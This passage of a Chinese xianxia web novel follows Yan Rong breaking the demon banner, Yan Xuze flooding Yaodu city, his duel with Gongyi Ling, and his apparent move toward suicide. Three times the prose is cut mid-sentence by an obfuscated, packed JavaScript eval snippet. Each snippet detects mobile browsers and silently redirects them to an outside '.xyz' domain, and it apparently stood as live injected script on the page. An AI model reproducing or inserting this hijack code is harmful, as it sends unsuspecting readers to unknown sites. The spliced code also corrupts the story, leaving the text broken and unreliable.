这下就连公仪岭都震惊了。 难道,他们翻遍阴宅也没找到御魔幡,是因为燕蓉先一步带走了?可过去快一个时辰了,燕煦泽又怎么会一点都不知道? 就听燕蓉淡声道:“燕婉师姐被你们劫走后,虽然悬于血池之上放血了四十多日,但因为我们横插一脚,还是没能满七七四十九日,如此,御魔幡自然算不得炼成。” 她顿了顿,默然扫了一眼燕渊,才继续道:“何况……师兄你也从来不知道,我能够成为师父的直系弟子,也不全然是因为入门早、天资高的缘故,而是因为我才是紫阳宗从前剩下的那最后一个旁系血亲,只是因为当时年岁太小无法继任宗主,故而才以普通弟子的身份先拜在师父门下。” 燕蓉的身世,公仪岭从前也旁敲侧击地问过几次,不过都被她糊弄过去了,公仪岭也不好再追问什么,长此以往也就渐渐抛之脑后,毕竟两人只是至交好友,没必要在意对方的出身。 可他从没想过燕蓉居然是紫阳宗的旁支。 按照他之前了解到的,紫阳宗从前一直以来都是女子当宗主,直到燕修远那会儿人丁凋零,故而才让他当上了个宗主。而那御魔幡又只能用女子的血液解开,魔族劫人也是按这样的思路去劫燕婉,可要是按照燕蓉的说法,那其实他们应该劫持的,并非燕婉,而是燕蓉自己才对。 公仪岭喃喃道:“难怪燕宗主之前如此信任你,竟然还有这一层原因。” 若非如此,燕修远把宗门内大小事情全部交给燕蓉这个内门弟子来管理的话,多少也有些心大了。 燕蓉点头道:“没错。师父知道我无论如何也不会对紫阳宗不利,所以才会放心把事情交给我打理,也正是因为这样,我才能抽丝剥茧地查到当年的事情。” 从燕蓉手握御魔幡的那一刻开始,燕煦泽就极为焦躁不安。 “师妹,你听我说,你把它给我……所有的一切都是我做的,只要、只要过了这五日,让沅沅活过来,你们想要如何处置我,我都毫无怨言!但是沅沅她是无辜的,她是为了保护我才死的,我不能、我不能眼睁睁看着她成为一具腐尸,我不能!” 齐元白怒道:“若是你没有带走那么多女子为她换皮,或许她还能称得上一句‘无辜’,可那么多人也是因她而死,要是她还活着,难道不会因此产生一点点的愧疚吗?!” “元白你先别说了——”公仪岭一颗心揪起,紧紧盯着燕煦泽的一举一动,生怕他一个暴起就把齐元白杀了。 燕煦泽恨不能立刻割断他的喉咙:“你闭嘴!” 燕蓉却是前所未有的决然与平静。 她深深地朝燕煦泽的方向望了一眼。随后,灵力爆发,巨大的光芒晃得周围的人全部都难以睁开眼睛! 燕煦泽猛然意识到她想做什么,甚至连挟持齐元白都顾不上了,惊声大喝:“不——!!!”抬手就要飞出骨刀去阻止燕蓉。 但是已经来不及了。 等公仪岭再度睁眼,看见的却是燕蓉手中已经断成两截的御魔幡,天空中妖气四散,眼看着就要湮灭了。 186.身在此山中 怎知真面目(五) 没有了御魔幡的力量支撑,冰棺内的人究竟会不会有事,公仪岭不敢去想。 岸边一干人等皆是震惊于燕蓉突如其来的举动,大概所有人此行都是抱着捉拿真凶、寻回御魔幡的念头过来的,根本没人会想到燕蓉会选择直接将它给摧毁。 但公仪岭很快明白了燕蓉的意思。 御魔幡这东西本就亦正亦邪,两次大战下来,好不容易换来了几天太平日子,如此危险的法器,还是尽早销毁为好,省得日后旁人惦记,再生出祸端来。 何况现在,大家也都知晓了燕蓉的真实身份,若是想要再度炼化御魔幡,想必就会把主意打到燕蓉头上了,以燕蓉谨慎周全的性子,断然不能因为这个东西让自己置于险境。 如他所担心的那样,公仪岭余光中很快看到玄冰棺内起了什么变化,等他侧过头去细看,心中便是一声哀叹。 冰棺里躺着的人本就依附御魔幡的力量而生,现在御魔幡被燕蓉强行摧毁,力量消散,那自然也就没办法再支撑冰棺里的那人早已死亡的妖身了。 果不其然,冰棺内的姑娘宛如脱了水一般迅速地干瘪下去,不出五分钟,就已经看不出从前沉睡少女的模样,只剩下一具被妖毒侵蚀的森森枯骨。 公仪岭默然开口:“燕煦泽,你妹妹……” 燕煦泽瞳孔骤缩,只看了一眼冰棺便凝固在了原地。 “沅沅……” 燕煦泽无论如何也没想到,他养护了这么多年的人就这样随着御魔幡被摧毁而香消玉殒。 “不、不可能……”燕煦泽似是自言自语,又似是在跟谁确认,脑子里好像就剩下了这三个字一样反反复复地念着,“……这怎么可能呢?我明明已经想尽办法将她和御魔幡抽离开来,只要解开妖毒,她就会和常人无异……” 燕蓉手中还紧紧握着断成两截的幡,眼中悲哀:“师兄!哪怕御魔幡没有真正炼成,想要从中抽身也是不可能的事情。她既然是依靠御魔幡的力量成为傀儡妖身恢复灵识,不论你有没有为她解毒,她都不会从傀儡变成正常人的!” 可燕煦泽哪里还能听得进去她说的话? 公仪岭眼看着他眸中邪戾之气翻涌,周身杀意毕露、灵力凛然,心中顿觉不妙,当即拔剑横在身前,挡在了燕蓉和燕煦泽之间。 或许如燕煦泽所说的那样,从未对燕蓉起过杀心,可任谁都能看出燕煦泽此刻的疯狂。刚刚燕蓉为了摧毁御魔幡也用了不少灵力,公仪岭不能不小心提防这哪怕万一的可能。 “公仪,你知道我本不愿与你们兵刃相向。” 苍暝极夜扇再度出现在燕煦泽手中,他注视着公仪岭,唇角显出一抹讥诮的笑,慢条斯理地说:“但,这是在我的地盘,你们如此决然,是以为我当真什么都没准备吗?” 话音刚落,湖面狂风骤起、暴雨侵袭! 之前在那两位长老的控制下,那些意欲席卷而来的浪潮都被硬生生给拦了下来,已有退却之意,却不曾想燕煦泽的修为竟然到了这般未曾预料的境地,法扇既出,他已然是抱着同归于尽的念头去动用自己的满身修为和灵力,那些浪潮化作水刃,几乎铺天盖地,所有人都避无可避。 就连燕蓉也是暗叫糟糕。 她心中最为清楚,燕煦泽的水系术法修得极好,从小到大也没少在这方面教导过燕蓉一二,如今整个瀛湖都为他所控,想要拿下他并不是那么容易的事情。 而自己…… 燕蓉尝试着运起灵力去操控瀛湖内的水流,可燕煦泽却是早有防备,也不知道在这片区域下了什么法咒,这些水流根本不受燕蓉的控制。 瞬息之间,所有人脚下亮起耀眼的金色光芒。 公仪岭正欲用剑气将这些水刃悉数劈下,一晃眼看见地上的阵法纹样亮起,就知是两位长老出手用阵法护住他们不被水刃所伤。 一口气还没松完,公仪岭便听到身后一声极为细微的响声。 “咔。” 才刚刚经历过一次,不到一秒钟他就反应过来这响声代表了什么。 是结界! “不好——!” 抱元门长老的阵法也只能保护住他们不被水刃所伤,却无法保护结界不破。燕蓉刚刚才灵力大损,她设下的结界无论如何也支撑不住那些承载着燕煦泽强大修为的浪潮,几下碰撞切割下来,已经隐隐有破灭之势。 他们这些人是无妨,但那些尧都城的百姓呢?公仪岭和齐元白本就低调出行来得匆忙,根本没去考虑过疏散百姓这回事,何况这样浩荡的动作,也不是朝夕就能完成的。 公仪岭心中狂震,想要重新结印补结界,却已经迟了。 那一瞬间,一切都发生得太快,快到公仪岭来不及施展出加固结界的法术,只恍惚间瞧见了燕蓉那张惨白的脸,连口中都溢出了鲜血。 巨大的水声伴随着结界碎裂时发出的震天响动,在众人面前土崩瓦解。 澎湃的湖水倾泻,顺着城中分叉的道路狂涌而入,无数房屋被大风和湖水掀翻,狂流所过之处都只剩下断壁残垣,哪怕公仪岭不刻意去听,都能听得到远处城中妇孺的哭喊声。 更加让他感到恐惧的是,那些哭喊声维持了没多久就停歇了。尧都城内死了多少人,公仪岭根本不敢去想。 “还愣着干什么?都去救人!”玄微长老对身后弟子厉喝一声,这才有好几个抱元门的弟子如梦初醒,连滚带爬沿着狂流的方向去城内救援。 公仪岭也大声道:“先上去!” 岸边是绝对站不了了,为了避开水淹,他们必须得先破水而出,飞到半空中去。 他左右两边各有一个受伤的同僚,公仪岭一手按住一个人的肩头,硬生生给齐元白和燕蓉带了起来,朝那水流外冲出。 有他们两个人自己的仙障作保,虽然此番动作是狼狈了些,但好歹身上没淋湿,也没被水刃所伤,安安稳稳地悬停在了半空中。 等到众人一个个浮出水面,才更为清楚地看见天际间那一望无际的暗色,和立在狂流之上衣袂翩飞的紫衣男子。 如此场景,说是当日紫阳宗前殿那场大战复现也不为过。 燕煦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593178|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽凝望着面前的一干人等,忽而眉间微动,面上露出了一个极为轻佻的微笑。 苍暝极夜扇自他指尖一旋,随即霍然展开。 这一下,公仪岭便看得更为清楚了。 那苍暝极夜扇本就是由乌墨玉制成,从前燕煦泽用起来的时候,在灵力光芒的映衬下,还能显出几分墨玉的绿意来。也不知燕煦泽这些日子在苍暝极夜扇上动了什么手脚,如今的苍暝极夜扇竟黑气四溢,半点都看不出墨玉的意思了。 这黑气…… 公仪岭眼眸微眯,察觉到了些不同寻常的气息。 “啊!” 突然,站在公仪岭身后的一名阵修弟子惨叫了一声。 公仪岭闻声回头,见那弟子脸上血色尽失,嘴唇颤抖地看向足腕上的缠绕着的一大团黑发,大半身子已经被那些头发拖入水中。 大概是因为瀛湖法力场的关系,这弟子施展出来的灵力微乎其微,根本起不到多少作用。要不是他用全身灵力抵抗,恐怕现在已经被水流搅碎淹没了。 在其中一个弟子中招以后,那些头发更是如同被赋予了生命一般,细长且韧性极强,源源不绝地自水下冒出,像藤蔓一样准确地朝每个人卷来。 现在本就处于仙考期间,算算日子也正是众仙门后辈们历练的时候,故而这一次,那些排名稍靠前些的弟子们都被长老安排到了此处历练。年长些的仙僚尚能自保,可这些年轻弟子们大约是头一回遇到这样的情况,慌了神也是正常。 公仪岭蹙了蹙眉,一剑替他斩断了足腕处的头发,将人解救了出来。 那头发平白被人割断,痛得尖声长叫,嘶哑着声音想要卷土重来,得亏燕渊一扇流火拍出,将那些水淋淋的头发硬是给烤焦了,才算了结。 但不管怎么说,砍断是有用的。公仪岭大声喝道:“承悦,护好他们,别让这些发丝给人拖下去!” 情况危急,承悦也顾不得多应一声,匆匆结印开启剑阵,让无数剑影分身扫向仙门后辈足下,刹那间斩断无数发丝,如海藻般在湖面上散开,摇曳浮动。 云灵山过来的众弟子也都有样学样,斩断所有发丝后,两位长老立刻布下阵法,把这些东西隔绝开来。 湖面几下爆裂,炸出数丈高的水花。 燕煦泽一声冷笑。 整个瀛湖都在他的掌控下,在法力场的压制下,阵修根本没办法设下太强的阵法,所能够做到的,也只有拼死在岸边重新设起一道结界不让燕煦泽继续水淹尧都城。那些弟子们脚下的隔绝阵法,在湖底水鬼的攻势下,是不可能撑过一炷香的时辰的。 至于岸边他们设下的结界?燕煦泽根本就没放在眼里。管你如何费尽力气去修补结界,等到灭完湖里的这些仙人,城内的人被水淹死也是死,被水鬼弄死也是死,没什么区别。 尧都城建起已有百年,瀛湖中多得是投湖自尽的冤魂,这些人死后变为水鬼,被他关了这么多年,已是怨气十足,压根不是那种挥挥手就能打发的东西。 让它们去纠缠这些仙门中人,再合适不过了。 187.身在此山中 怎知真面目(六) 一开始,公仪岭还没觉得有哪里不对,见湖面上的人都在奋力挣脱,他也在旁边帮了不少,不过更多时间还是护着齐元白和燕蓉两个人不受伤。 但是很快公仪岭就意识到,湖内的这些水鬼一个个都没有攻击他的打算,甚至还会刻意绕开公仪岭,转而去纠缠旁人。 显然,这是燕煦泽的意思。 公仪岭抬头,正对上燕煦泽那双阴鹜的眼睛。 燕煦泽的身段长相都十分不错,从前仙门众人只当他是皎皎君子,一双微微上扬的眼眸和眼角细细的泪痣不知令多少女修钦慕。可如今公仪岭再次与他对视,哪还有半点从前肆意潇洒的模样? 公仪岭一字一句:“停下来。” 听到他的话,燕煦泽嘴角噙了一丝笑意,带了几分意味不明。 “来。” 他只吐出这一个字,言语间却十足挑衅。 公仪岭盯了他三秒钟,没有立刻答复他,而是偏了偏头,低声唤道:“承悦。” 承悦正不遗余力地对付着那些不断从湖底涌出的水鬼。浪潮声和尖叫声嘈杂,他猛然听到公仪岭叫他的名字,险些以为是幻听。 “阿岭?”承悦试探着叫他。 久违的称呼,让公仪岭也不免恍惚。 他定了定神,左手向上摊开,掌心凭空多出一块玉牌。 齐元白一低头就看见了公仪岭掌心的东西,惊声道:“阿岭,你把它拿出来是要做什么?!” 这玉牌乃是用赤玉制成,通体赤红,牌面上雕了精致的祥云纹样,正是云灵山的宗主令牌。 承悦顿时也呆了,愣愣地看着公仪岭,不敢去细思他是什么意思。 “宗主……” 想问的话还没出口,那赤玉云纹令牌便在空中抛过,落在了他的手上。 承悦不可置信地抬头:“你疯了?你给我这个做什么?你要干什么?!” 公仪岭目光似乎飘忽了一下,像是想起了什么过往。随即淡声道:“承悦,守好它,这以前也是大哥的意思。” “开什么玩笑!” 承悦眼眶湿润,终于忍不住骂道:“云灵山谁不知道我就是一管事的!你真以为我能挑得起大梁?骗了我们这么久,这笔账都还没跟你细算,现在说来就来说走就想走,天底下哪有这便宜的事情?!公仪岭你给我听好了,既然承了这宗主的位置,就别想就这么甩手不干了!!!” 公仪岭微不可查地握了握手中剑,抿唇未答,默默转过了身。 说起来,从前公仪岭总是习惯性地冲在所有人前面为他们开路,他们一直以来最熟悉的莫过于他的背影。 可如今这背影,看起来竟是说不出的落寞萧瑟。 燕蓉收回视线,右手平静地搭上公仪岭的肩头,轻声道:“我们等你回来。” 公仪岭侧了侧脸,问道:“元白交给你了,能应付地过来吧?” 不知何时,燕蓉已经祭出了自己的浮光青玉扇,扇骨间露出盈盈流光,微微发烫。 她笑道:“不过区区小伤,收拾这帮杂碎,足够了。” 公仪岭点了点头,纵身朝上空飞去。 燕煦泽一直冷眼瞧着公仪岭,直到他疾驰到自己面前。 极为高挑出众的身形、玉雕一样的面容,墨发间仅系了一条暗红色的发带随狂风飘动,哪怕脸上覆着那半张银箔面具,也丝毫不会影响所有人对他的第一印象——也是对公仪岚的印象。 芝兰玉树般的人。 其实,公仪岭的伪装已经可以说足够成功,任哪个不明真相的仙僚过来一看,都会以为现在瀛湖上和燕煦泽对峙的是公仪岚。 只可惜,不管外形如何相似,总有些东西是无法改变的。 燕煦泽凝视着公仪岭的那双凤眸,很快在里面找到了被公仪岭掩藏在心底的那一点情绪波动。 上元夜宴,仅凭着偶然间的一次对视,他就已经能够完全确定。 这就是公仪岭,不会有其他可能。 良久,燕煦泽低笑道:“别来无恙,公仪。” 公仪岭举剑相对,冷嗤道:“你既早知我身份,便没必要假惺惺地说这些话,浪费时间。” “呵……这几个月来,你日日小心谨慎、掩饰身份,如今我揭穿你,你便不用继续以兄长的身份活着,也不用继续演戏,这样大的恩情,怎么倒没见你对我道一声谢?” 一道剑影划破天空,远隔百米都能感受到这一剑的凌厉之势。 两个仙门中最具天赋的强者旷世决斗,没有哪个修士会不心驰神往。 这一看,一群后辈一个个都心神俱震。 这是什么样的速度?这是何等的灵力和修为? 他们得不出答案,唯一能得出的答案是,如果眼下与公仪宗主对峙的是他们的话,恐怕他们剑未出鞘,就已经人头落地了。 胆寒之余,弟子们竟然还生出一丝庆幸——幸亏这样的人不是他们的敌人,否则的话该有多难对付。 但下一刻,这个刚冒出的念头就烟消云散了。 只见那彻云剑的剑尖就要挑断燕煦泽的咽喉,谁也没看清楚燕煦泽是如何出手,剑就已经在他咽喉前一寸停了下来。 再仔细一看,原来竟是燕煦泽在这瞬间微微侧头,抬起苍暝极夜扇,就这样将彻云剑给轻轻松松挡了下来! 众弟子顿时意识到,现在他们要面对一个燕煦泽,也不是什么容易的事情。 ——能够当公仪岭对手、让他使出全力的人,又岂是什么等闲之辈? “铛!” 扇骨和剑锋相撞,碰出巨大声响,听得众人皆是毛骨悚然。 燕煦泽手中法扇死死抵住了彻云剑,腕上一抬一旋,硬生生把那灵剑错开,扇面再度展开之时带动灵力,往公仪岭的方向引下数道紫色的天雷,势如千钧。 看燕煦泽控制了这么久的湖水,他们都快忘了,燕煦泽主修的并非水系法术,而是雷系的法术。 饶是公仪岭,面对这一道道惊雷,也不得不飞身闪避,穿梭在无边雷声中,想办法重新逼近远处那人。 见他眼中恨意滔天,抬手间已然开启剑阵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599269|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一招一式都已经做到了极致,显然是意欲将自己直接斩杀于剑下,燕煦泽在意识到这一点后,脸上的表情不是愤怒,而是渐渐浮现出难以言喻的狂喜。 几下惊雷劈不中公仪岭,眨眼间他便统统避开,义无反顾地朝燕煦泽杀来。 在这样密集的攻势下,燕煦泽竟然还有闲情逸致与他调笑:“不错嘛,看来这半年来,你也并非全无长进?倒是没枉费我如此看好你,教导你这么多东西,你果然比公仪岚要强上不少。” “……你说什么?” 公仪岭气极反笑,只当他是在胡言乱语:“我自幼于云灵山长大,承的是云灵山的剑法,哪怕后来去各家宗门游学,也从未记得你何时教导过我什么东西!” “是么?” 燕煦泽眼眸微眯,状似讶异道:“想不到你这么快就忘记了,那正好,让我来替你回忆回忆……可还记得当日你在宣安城中,曾下定决心要给那些人皮驱魔?那你不妨猜猜看,这么高级的驱魔咒,究竟是谁教给你的?” 公仪岭的眼睛猝然睁大。 这样的事情,他怎么可能忘记?!可那时候,他分明是写信去问燕蓉的! 看见公仪岭如此震惊,燕煦泽眉梢上挑,心中极为痛快:“怎么?现在记起来了?你当时可是写信给了师妹,求她告诉你去除魔气的法诀,只可惜这驱魔咒太过高阶,就连师妹也不能确定这咒语的正确用法,这才特意过来请教了我。说起来,你可还得喊我一声师父呢……” “是你……居然是你!” 公仪岭从未想到就连这驱魔咒也是燕煦泽告诉他的,立刻明白从自己决定要前往宣安城开始,就已经一步步走进了燕煦泽设计好的局里。一想到宣安城里面几百个人死后也不得安息,皮囊还被制成了那样的邪祟,他便觉得胃部翻江倒海、几欲呕吐。 他心念不稳,握剑的手竟也出现了一丝抖动,再出招时被燕煦泽轻松化解,根本伤不到燕煦泽。 彻云剑察觉到了他的变化,剑身发出一声铮鸣,剑柄处也开始发烫起来。 燕煦泽视线下移,很快注意到了彻云剑的变化,悠悠道:“公仪岚倒也真是在意你,人都被挫骨扬灰了,还费尽心思把自己的灵剑给你,想必为了留下这把剑耗尽了自己的灵力,才会撑不到见你最后一面吧。” “不过这彻云剑虽厉害,你用它却也只有短短几个月的光景,只怕用起来还没那么得心应手吧?” 公仪岭心中一沉。 他已经在战斗的过程中极力避免让燕煦泽发现这一点,却没想到燕煦泽还是知道了。 正如燕煦泽所说的那样,他虽了解大哥的出招习惯,小时候也曾用过彻云剑练习,可到底不是自己的剑,远没到人剑合一的境地。 更为重要的是,即便彻云剑对他认主,能够让他自如地驱使,却也改变不了它真正主人死去的事实。无论公仪岭自己的修为增进了几分,彻云剑上的力量永远定格在了那里无法改变。 若是对付普通妖邪,这些力量自是绰绰有余,可偏生他最后对上的是燕煦泽这个人。 188.去来终有时 云灵归故人(一) 公仪岭咬牙不语,努力让自己集中精神去对付他。 然而哪怕是他,也没办法完全避开燕煦泽引下的天雷,在闪避之时,多少也有些被伤到,只能强忍胸口痛意,伺机寻找机会近身。 燕煦泽也没想到公仪岭受了伤也要强行突破,不由心中嗤笑,觉得他一如从前般天真。 如此硬来,公仪岭他就是没死也得脱层皮。 燕煦泽虽不像他们剑修一般擅长近身打斗,可要如果对上的是刚从雷阵中闯出的公仪岭,那形势也大不相同。 他以全身修为引下的雷,但凡劈到一次,最轻也是蚀骨烧心之痛,要是更严重一些,那就是像硬生生把元神剥离仙体一般,寻常人根本承受不住这样的苦楚。 谁知,直到公仪岭从道道天雷中闯出后,却是连眉头都未曾皱一下。 难道他没有受伤?可自己分明感受到雷电是击中了公仪岭的…… 这样的想法在燕煦泽看清楚面前之人的模样后就湮灭了。 公仪岭的肩胛、手臂、后背等多处都有衣服明显被击中而变得焦黑的痕迹,那宽大的袖袍下,鲜血与雨水混为一体,顺着他的右臂淌下,血水滑过剑刃,没留下一丝痕迹。 燕煦泽顿了顿,说:“你真是叫我意外。” “过奖。” 公仪岭淡声道:“比起这一年间我受的苦,区区几道天雷,远远不及。” 此话一出,公仪岭几乎在瞬间听到了燕煦泽的一声无比阴寒的冷笑。 那一刻公仪岭并不清楚燕煦泽缘何如此,只知他好像突然疯了一样,居然直接把苍暝极夜扇当刀剑使,不管不顾的模样像是要跟公仪岭玉石俱焚一样,哪怕苍暝极夜扇废了也在所不惜。 即便是一品法器,也不可能就这样跟灵剑硬碰硬。 公仪岭惊讶片刻,很快意识到燕煦泽打的是什么主意。 眼下在燕煦泽的地盘打架,他本就不占上风,能使出来的灵力也十分有限,几乎全是靠身法剑法硬抗,何况用的还不是自己的剑。 燕煦泽吃准了这一点,知道在这样的情况下彻云剑没办法斩断苍暝极夜扇,便无所畏惧地与他贴身缠斗,每一下出手都是朝着公仪岭被雷电所伤的地方去的。 灵力灼烧皮肉,交手数十次下来,两边都没讨到多少好,但光看形容,显然是公仪岭更为狼狈一些。 现在该怎么办? 自己身处劣势,面对这样一人,想要将他拿下简直难如登天。 从刚才的多次交手来看,燕煦泽的身手和修为几乎和自己不相上下,就算是公仪岭也没有将他一击必杀的把握。 正是左右为难之时,忽然听到底下湖面上有一人叫道:“阿岭,接着!” 是承悦的声音! 跟燕煦泽打了这么久,他们两个早就离岸边很远,不等公仪岭去细思为何承悦突然出现在他们俩底下,他就先听到了剑刃划破天空急速飞驰的声音。 隔了半年光阴,公仪岭也在第一时间辨认出来了这是什么。 他扬手一接,视线下移。 剑身银白如皎月流光,剑柄处雕刻着清晰可见的祥云纹样——归云! 在公仪岭握住剑柄的那一瞬间,便感受到了归云身上那强大而磅礴的灵力。 归云发出一声铮鸣。 半年前他亲手封印归云,将它安置在白玉剑架上,却从未想过竟能在今日派上用场,大概是因为封印的缘故,归云竟然没有受到燕煦泽法力场的压制,一如从前模样。 不,或许比从前更甚,因为这半年来他所精进的修为,也全都烙印在了归云剑身上。 剑已入手,封印自动解除。 见这样的灵剑在公仪岭的手上,燕煦泽面色沉沉,想要重新加固法力场压制归云。 好不容易迎来转机,这样明显的意图,公仪岭断然不能让他得逞。 一时间,纷杂的剑影和无处可避的雷声齐齐出现,大雨滂沱下,在朦胧的水汽和雾气之中,旁人根本看不清楚上面两人的局势谁优谁劣,只能暗暗捏紧拳头,在心里祈祷公仪岭别败下阵来。 瀛湖之上灵力和法术乱飞,上空两个身手绝伦的人几乎斗得天昏地暗、山崩地裂,下面众人也是杀得半面湖水都蔓延了层层血迹,在这片区域内掀起一阵血雨腥风。 面对这样公仪岭,燕煦泽眉头蹙起,感到一阵难以抗拒的压力。 这样的压力,早在很久之前,他就已经亲身经历过,本以为这些年自己勤加修炼,再也不会有这样的感受,却没想到事到如今,竟然和当年没什么太大的区别。 燕修远当初也是看他天资卓越,才将他捡回了紫阳宗中,事实也证明,燕修远虽然能力不足,但胜在运气好、眼光奇佳,随手在路边捡了个孩子当徒弟,这孩子便成了紫阳宗内的佼佼者,说是门内第一也不为过。 燕煦泽比公仪岭年长五岁,故而也比公仪岭早很多年开始参加仙考大会。燕煦泽年少成名,那几年可谓是风头无两,在一对一交手这一项上,几乎从无败绩,坐稳了好几次榜首之位。 直到眼前这个比他小了五岁的年轻剑修的出现。 彼时他还比燕煦泽矮上半个头,在燕煦泽客气地让了三招后,在接下来的二十招内,燕煦泽明白了什么叫人外有人、天外有天。 遗憾的是,公仪岭或许最擅长的便是让他人轻视自己,不过初露锋芒了几日,众人对他的评价便急转直下,下到只剩叹息。 可现在…… 冰冷的剑锋划破朦胧的水汽,紧紧贴上了燕煦泽的脖颈,剑刃上的血珠干脆利落地掉入湖水,与湖面上的大滩血迹融为一体,燕煦泽稍一垂眸,甚至还能在那明澈如镜的剑身上望见自己侧脸的倒影。 一招,胜负分明。 让公仪岭意外的是,在这样性命攸关的时候,燕煦泽竟然还能保持得体的微笑。 公仪岭手腕微动,让剑尖更贴近了燕煦泽的脖颈几分,割出一刀清晰的血痕。 他低声道:“快十年过去了,看来,你也没什么长进,你说是吧?燕煦泽。” 难为他还记得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14608223|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕煦泽慢慢抬眼,竟是似笑非笑地主动将脖子往归云的方向偏了偏。 公仪岭面色一凝,下意识地往外偏了半寸。 “那你呢?公仪。分明已经赢了我,可又为什么下不了这个杀手呢?” “我下不了杀手?” 公仪岭冷哼一声,突然出手抓住燕煦泽的肩膀,转眼就带着人闪至岸边,狠狠把他惯倒在地上。 苍暝极夜扇也在此刻脱手落地,瀛湖上的法力场顷刻散去。 燕煦泽半躺在地上咳起血来,方才他和公仪岭交手的时候已受了极重的内伤,自是无力再用灵力去支撑瀛湖内的狂风暴雨,湖中浪潮也逐渐退去。 没了法力压制,旁边打完收场的众人顿时感觉灵台清明、神清气爽,看向燕煦泽的眼神中也都少了几分畏惧,多了些难以言明的复杂情绪。 燕蓉什么也没说,只是默然替他拾起了苍暝极夜扇。 公仪岭额头青筋暴起,剑指燕煦泽的咽喉,一字一句道:“我下不了杀手?燕煦泽,你害死我爹娘,害死我兄嫂,害得我有口难辩、落此境地!我恨不能将你千刀万剐,啖你的肉、喝你的血!” “阿岭!”承悦担忧地喊他。 燕煦泽朝旁边吐出一口血沫,满不在乎地哼笑道:“那又如何?” “砰!” 谁也没想到,燕煦泽刚说完,衣襟处便猛然被齐元白揪住,随后迎面一拳,打得他眼前阵阵发黑,唇角也渗出了血迹。 “元白!” 齐元白几乎是用尽了全身力气冲过来。这一拳动用了他的灵力,令他本就元气大伤的身子更为虚弱,连呼吸都沉重了几分。 公仪岭担心他反伤自身,暂且按住了齐元白的肩头,压制住他体内翻涌的灵力。 就听齐元白低喝道:“哪怕你妹妹当真能够活过来,你以为你做出这样的事情,她真能心安理得地穿着那些无辜女子的人皮苟活于世吗?!” 燕煦泽微微侧头,也只是淡淡地扫了齐元白一眼,根本没把他放在眼里,又重复道:“那又如何?” “本来,只要再过五日,我就能做完一切,等沅沅醒来就把御魔幡归还给宗门,从此与她在这世间销声匿迹。”他侧目望向冰棺,脸上蓦然阴沉地如同死水,“可你们却连这五日都不愿给我!是你们、是你们亲手杀了她!!!” 齐元白死死攥着他的前襟,哪怕他极力控制着自己情绪,也无法避免声音颤抖:“燕煦泽,你真是够狠!为了救自己的亲人,却不惜害死别人的至亲!你可知,岚兄他大婚在即,你可知,我妹妹阿鸢,她死的时候才年仅十六岁!” 齐元白这一拳力道极大,燕煦泽的下半张脸都被打得青青紫紫,再看不出从前俊秀无双的模样。可不知为何燕煦泽并未还手,只是颇为怜悯地看了齐元白一眼:“看在你我同病相怜的份上,在这之前,我就已经安慰过你齐清鸢的事情。可大战之中谁能独善其身?齐清鸢的死只是一个意外。何况,旁人是生是死与我何干?只要能救沅沅,不管什么代价,我都在所不惜。” 189.去来终有时 云灵归故人(二) “够了。” 事已至此,还有什么可说的呢? 望着这一片狼藉的瀛湖和岸边疯了一样大打出手的几个人,善承长老只觉得无比疲惫。 这人说到底还算是紫阳宗的人,即便是看在燕宗主和燕蓉的面子上,眼下燕煦泽也是不能就地格杀的。 齐元白脑中尚有一丝理智存在,公仪岭压制住他的灵力后,也没有强行冲破,想要直接用符阵了结他,但如果继续放任燕煦泽言语挑衅,那便不好说了。 燕蓉只是站在一旁一言不发,孟妙意则是低声道:“齐宗主,你冷静些,现在真相大白,将他带回去再做处置也不迟!” “带我回去再处置我?”燕煦泽冷冷一笑,嘲讽道,“让我猜猜,你们打算如何处置我?是像从前处置司青筠那样剔了我的仙骨,还是像公仪岚那样烈火焚身?与其让你们这样折辱,还不如……” 话音未落,燕煦泽身上蓦然灵力暴涨,右手流光缠绕,瞬间朝公仪岭和齐元白两人所在的方向打出一道极强的法术。 那法术便猝不及防迎面冲出,如此近的距离,公仪岭不得已拽着齐元白往后退开两步再抬剑去挡下这击。 齐元白只当他想要趁乱逃跑,旋身之时手中符箓已显。 可那符箓飞出后,刚粘上燕煦泽的衣摆就已经化作了碎片。 等等…… 公仪岭死死盯着燕煦泽身上的法力,看见的却不是它们凝聚一身,反倒是从燕煦泽身上开始逐渐四溢飘散,消解在空中。 燕煦泽不是想要跟众人殊死一搏后逃走,他根本就是想要自行了断! “师兄!” 燕蓉惊呼出声,欲飞身上前阻止他寂灭。可燕煦泽早有预料,苍暝极夜扇忽然使出法术,硬生生将燕蓉给拦了下来。哪怕有燕渊在旁边帮忙,一时半会儿也没办法从法扇处脱身。 燕煦泽偏过头望着不远处的这两人,露出了一个了结一切的淡笑。 